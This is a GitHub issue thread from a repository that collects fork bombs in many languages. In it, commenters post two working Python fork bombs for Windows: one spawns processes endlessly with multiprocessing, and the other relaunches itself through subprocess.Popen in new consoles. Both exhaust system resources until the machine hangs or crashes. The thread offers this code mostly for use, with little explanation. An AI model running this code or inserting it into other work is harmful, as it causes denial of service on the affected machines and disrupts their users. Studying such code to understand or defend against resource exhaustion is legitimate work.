aaronryank / fork-bomb

Fork bombs in lots of languages
The Unlicense
758 stars 133 forks source link

python's fork bomb won't work on windows (unless its wsl) #22

Open timelessnesses opened 2 years ago

K0-RR commented 1 year ago

For Windows:

import multiprocessing

def forkbomb():
    while True:
        p = multiprocessing.Process(target=forkbomb)
        p.start()

if __name__ == '__main__':
    forkbomb()
AliAlmasi commented 6 months ago

I guess this code (below) is much better on Windows:

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)